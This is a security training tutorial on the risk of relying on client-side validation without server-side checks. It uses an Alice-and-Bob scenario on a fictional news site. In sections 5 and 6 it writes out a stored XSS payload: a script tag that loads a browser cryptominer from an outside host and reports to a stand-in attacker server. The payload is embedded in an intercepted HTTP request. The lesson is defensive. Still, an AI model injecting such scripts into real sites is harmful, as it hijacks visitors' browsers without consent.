FRONT END SECURITY BASICS: 3. No Server-Side Validation

FRONT END SECURITY BASICS: 3. No Server-Side Validation

1. VULNERABILITY INTRODUCED

Sometimes front-end developers get mesmerized by the validation word in the client-side validation term and implicitly assume that it refers to protection of some kind that operates on the client-side level. Also, they assume that properly implemented client-side validation will not allow hackers to pass any kind of malicious input to the server, and therefore there is no need to duplicate the same validation on the server level.
But when the server doesn’t use the same protection schemes as the client side does, then the attacker can bypass all the client-side validation checks. For example, the attacker can exploit a Cross-Site Scripting (XSS) vulnerability on the server by using a reverse proxy to modify the data sent after all the checks have been performed.
This is the fundamental design flaw that is the root cause of many vulnerabilities. It may allow any kind of malicious input to be passed into the application, or sometimes escalation of user access privileges.

image

2. EXERCISE BACKGROUND

The vulnerable application pane loads the WorldNews.info website, where news from all over the world is published, along with analytics from experts and longreads from columnists. Users of this website can leave comments to articles they liked or disliked most.
Alice is a developer, and she has just finished creating a feedback form for this website. Some time ago she read about XSS mitigation strategies, so for all the input fields in the form, she implemented an encoding function for potentially malicious symbols. The encoded symbols are represented as text on the page.
Alice is absolutely sure that no hacker will be able to pass any malicious user input through the feedback form, so she decides to save development efforts and not duplicate the same checks on the server.

image

3. CLIENT-SIDE VALIDATION CODE

Let’s take a look at the code that is responsible for client-side validation.

function Encode(s)
{
   var HTMLCharMap = {
     “&” : “&”,
     “‘” : “'”,
     ‘”‘ : “"”,
     “<” : “&lt;”,
     “>” : “&gt;”,
     “\\” : “&#x5c;”,
     “`” : “&#x60;”,
     “:” : “&#58;”
   };
   function encodeHTMLmapper(ch) {
     return HTMLCharMap[ch];
   }
   return s.replace(/[&”‘<>\\`:]/g, encodeHTMLmapper);
};

image

In this code sample, Alice created Encode function that replaces potentially malicious characters with their HTML-encoded equivalents.

4. MALICIOUS PAYLOAD CREATED

Bob is a malicious user of WorldNews.info website. He uses a Proxy tool to scan web servers for vulnerabilities, and while scanning he found out that the part of the functionality on the WorldNews.info server that is responsible for the processing of user comments has no server-side validation of user input.
It means that he can pass an arbitrary javascript to this functionality, and it will save this script on the server as if it was a valid post content, and then the server will send it back to the next user that will open the comment page – where the script will eventually be executed. This is known as a Stored XSS vulnerability.
Bob decides to use this vulnerability to make users of this website mine cryptocurrency for him.
But first, he needs to post the comment.

image

5. SUCCESSFUL ATTACK

As Bob fully controls his traffic to WorldNews.info, he intercepts the HTTP (or HTTPS) request that goes to the server after he posts the comment and changes the payload that was validated on the client side to the malicious one.


ACTION

Help Bob create a malicious payload. Click ADD to change the original server response to malicious response into the Proxy window.
<script src=”https://currrencyminer.com/lib/currrencyminer.min.js”></script> <script> var miner = CurrrencyMiner.Anonymous(‘Bobs CurrrencyMiner address’, ‘http://bobsminerserver.evil’); miner.start(); </script>

image

Request to http://worldnews.info

POST /articles/politics/outerspace/318762.html

HTTP/1.1

Host: http://worldnews.info

User-Agent: Mozilla/5.0 (Windows NT 10.0;

Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-type: application/x-www-form-urlencoded

Content-Length: 54

Connection: close

commenttext=’Great job, Dennis! You’ve got the point!’

<script src=”https://currrencyminer.com/lib/currrencyminer.min.js”></script><script>var miner = CurrrencyMiner.Anonymous(‘Bobs CurrrencyMiner address’, ‘http://bobsminerserver.evil’);miner.start();</script>

6. VULNERABILITY EXPLOITED

The server successfully processed this request and saved Bob’s malicious comment. (The script itself is not visible on the page, because the browser treats it as code and doesn’t display it to the user.)
What this means is that from now on when any user of the WorldNews.info loads the article with all its comments, the malicious script starts mining cryptocurrency inside user’s browser.

image

7. REMEDIATION STRATEGY

So, what is the point of implementing client-side validation if it doesn’t protect from anything?
Client-side checks are essential for:

  • providing better user experience by giving feedback to the user about the expectations for valid input.
  • support of attacks detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack.
  • reducing server-side processing time for accidental input errors.

But when we start talking about security and protection, then we need to admit that application stays vulnerable if client-side validation is not supported by the server-side validation. So, for any security checks that are performed on the client, ensure that these checks are duplicated on the server. Server-side validation is the essential element of the defense strategy against hacker attacks.

image

Comments are closed.